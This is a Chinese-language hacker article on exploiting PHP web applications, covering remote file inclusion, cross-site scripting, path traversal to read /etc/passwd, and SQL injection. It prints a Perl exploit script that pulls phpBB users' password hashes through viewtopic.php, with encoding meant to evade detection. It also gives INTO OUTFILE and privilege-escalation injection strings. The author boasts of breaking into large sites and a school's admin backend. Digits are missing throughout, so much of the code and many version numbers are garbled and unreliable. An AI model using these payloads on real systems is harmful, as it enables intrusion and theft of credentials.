从现在的网络安全来看大家最关注和接触最多的WEB页面漏洞应该是ASP了在这方面小竹是专家我没发言权然而在PHP方面来看也同样存在很严重的安全问题但是这方面的文章却不多在这里就跟大家来稍微的讨论一下PHP页面的相关漏洞吧
我对目前常见的PHP漏洞做了一下总结大致分为以下几种:包含文件漏洞脚本命令执行漏洞文件洩露漏洞SQL注入漏洞等几种当然至于COOKIE欺骗等一部分通用的技术就不在这里讨论了这些资料网上也很多那么我们就一个一个来分析一下怎样利用这些漏洞吧!
首先我们来讨论包含文件漏洞这个漏洞应该说是PHP独有的吧这是由于不充分处理外部提供的恶意数据从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令我们来看一个例子:假设在aphp中有这样一句代码:
include($include."/xxx.php");
?>
在这段代码中$include一般是一个已经设置好的路径但是我们可以通过自己构造一个路径来达到攻击的目的比方说我们提交:aphp?include=这个web是我们用做攻击的空间当然bphp也就是我们用来攻击的代码了我们可以在bphp中写入类似于:passthru(/bin/ls /etc);的代码这样就可以执行一些有目的的攻击了(注:web服务器应该不能执行php代码不然就出问题了相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)在这个漏洞方面出状况的很多比方说:PayPal Store Front
HotNewsMambo Open SourcePhpDigYABB SEphpBBInvisionBoardSOLMETRA SPAW EditorLes VisiteursPhpGedViewXCart等等一些
接着我们再来看一下脚本命令执行漏洞这是由于对用户提交的URI参数缺少充分过滤提交包含恶意HTML代码的数据可导致触发跨站脚本攻击可能获得目标用户的敏感信息我们也举个例子:在PHP Transparent的PHP PHP 以下版本中的indexphp页面对PHPSESSID缺少充分的过滤我们可以通过这样的代码来达到攻击的目的:
?PHPSESSID=>在script里面我们可以构造函数来获得用户的一些敏感信息在这个漏洞方面相对要少一点除了PHP Transparent之外还有:PHPNukephpBBPHP ClassifiedsPHPixUltimate PHP Board等等
再然后我们就来看看文件洩露漏洞了这种漏洞是由于对用户提交参数缺少充分过滤远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息我们拿最近发现的phpMyAdmin来做例子在phpMyAdmin中exportphp页面没有对用户提交的what参数进行充分过滤远程攻击者提交包含多个/字符的数据便可绕过WEB ROOT限制以WEB权限查看系统上的任意文件信息比方说打入这样一个地址:exportphp?what=//////etc/passwd% 就可以达到文件洩露的目的了在这方面相对多一点有:myPHPNukeMcNews等等
最后我们又要回到最兴奋的地方了想想我们平时在asp页面中用SQL注入有多么爽以前还要手动注入一直到小竹悟出SQL注入密笈(嘿嘿)然后再开做出NBSI以后我们NB联盟真是拉出一片天空曾先后帮CSDN大富翁论坛中国频道等大型网站找出漏洞(这些废话不多说了有点跑题了)还是言规正传其实在asp中SQL的注入和php中的SQL注入大致相同只不过稍微注意一下用的几个函数就好了将asc改成ASCIIlen改成LENGTH其他函数基本不变了其实大家看到PHP的SQL注入是不是都会想到PHPNUKE和PHPBB呢?不错俗话说树大招分像动网这样的论坛在asp界就该是漏洞这王了这并不是说它的论坛安全太差而是名气太响别人用的多了研究的人也就多了发现的安全漏洞也就越多了PHPBB也是一样的现在很大一部分人用PHP做论坛的话一般都是选择了PHPBB它的漏洞也是一直在出从最早 phpBB 版本被人发现漏洞到现在最近的phpBB 版本的groupcpphp以及之前发现的searchphpprofilephpviewtopicphp等等加起来大概也有十来个样子吧这也一直导致一部分人在研究php漏洞的时候都会拿它做实验品所谓百练成精嘛相信以后的PHPBB会越来越好
好了我们还是来分析一下漏洞产生的原因吧拿viewtopicphp页面来说由于在调用viewtopicphp时直接从GET请求中获得topic_id并传递给SQL查询命令而并没有进行一些过滤的处理攻击者可以提交特殊的SQL字符串用于获得MD密码获得此密码信息可以用于自动登录或者进行暴力破解(我想应该不会有人想去暴力破解吧除非有特别重要的原因)先看一下相关源代码:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($HTTP_GET_VARS[topic]);
# }
从上面我们可以看出如果提交的view=newest并且sid设置了值的话执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话建议你看了再对着这里来看受影响系统为:phpBB 和phpBB )
# $sql = SELECT ppost_id
# FROM POSTS_TABLE p SESSIONS_TABLE s USERS_TABLE u
# WHERE ssession_id = $session_id
#AND uuser_id = ssession_user_id
#AND ptopic_id = $topic_id
#AND ppost_time >= uuser_lastvisit
# ORDER BY ppost_time ASC
# LIMIT ;
Rick提供了下面的这断测试代码:
use IO::Socket;
$remote = shift || localhost;
$view_topic = shift ||/phpBB/viewtopicphp;
$uid = shift || ;
$port = ;
$dbtype = mysql; # mysql or pgsql
print Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n;
$p = ;
for($index=; $index<=; $index++)
{
$socket = IO::Socket::INET>new(PeerAddr => $remote
PeerPort => $port
Proto => tcp
Type => SOCK_STREAM)
or die Couldnt connect to $remote:$port : $@\n;
$str = GET $view_topic ?sid=&topic_id= random_encode(make_dbsql()) &view=newest HTTP/\n\n;
print $socket $str;
print $socket Cookie: phpBBmysql_sid=\n;# replace this for pgsql or remove it
print $socket Host: $remote\n\n;
while ($answer = <$socket>)
{
if ($answer =~ /location:*\x(\d+)/)# Matches the location: viewtopicphp?p=#{
$p = chr ();
}
}
close($socket);
}
print \nMD Hash for uid $uid is $p\n;
# random encode str helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=; $i{$c = substr($str$i);
$j = rand length($str) * ;
if (int($j) % || $c eq )
{
$ret = % sprintf(%xord($c));
}
else
{
$ret = $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq mysql)
{
return union select ord(substring(user_password $index )) from phpbb_users where user_id=$uid/* ;
} elsif ($dbtype eq pgsql)
{
return ; select ascii(substring(user_password from $index for )) as post_id from phpbb_posts p phpbb_users u where uuser_id=$uid or false;
}
else
{
return ;
}
}
这段代码我就不多做解释了作用是获得HASH值
看到这里大家可能有点疑问为什么我前面讲的那些改的函数怎么没有用到我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
displayphp?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑这是真的我还靠这个进过几个大型网站至于哪一些不好讲出来不过我们学校的网站我就是靠这个进后台的(希望学校网络中心的看不到这篇文章^_^)把前面那函数用上吧不然你只有改人家的密码了哦!!!
差点忘了一点在SQL注入的时候PHP与ASP有所不同mysql对sql语句的运用没有mssql灵活因此很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了 一般我们常见的注入语句像这样:aaaphp?id=a into outfile passtxt或是aaaphp?id=a into outfile passtxt /*再进一步可以改成:aaaphp?id=a or = union select idnamepassword form users into outfile c:/atxt
这样可以将数据库数据导出为文件然后可以查看
或是这样:mode=user_level=
这个语句一般用在修改资料时假设页面存在漏洞的话就可以达到提升权限的做用
其它的如 OR = 或者: or =则跟asp差不多这里不多讲了在php里面SQL注入看来还是漏洞之首啊有太多的页面存在这个问题了
其实大家可以看出来上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨黑客防线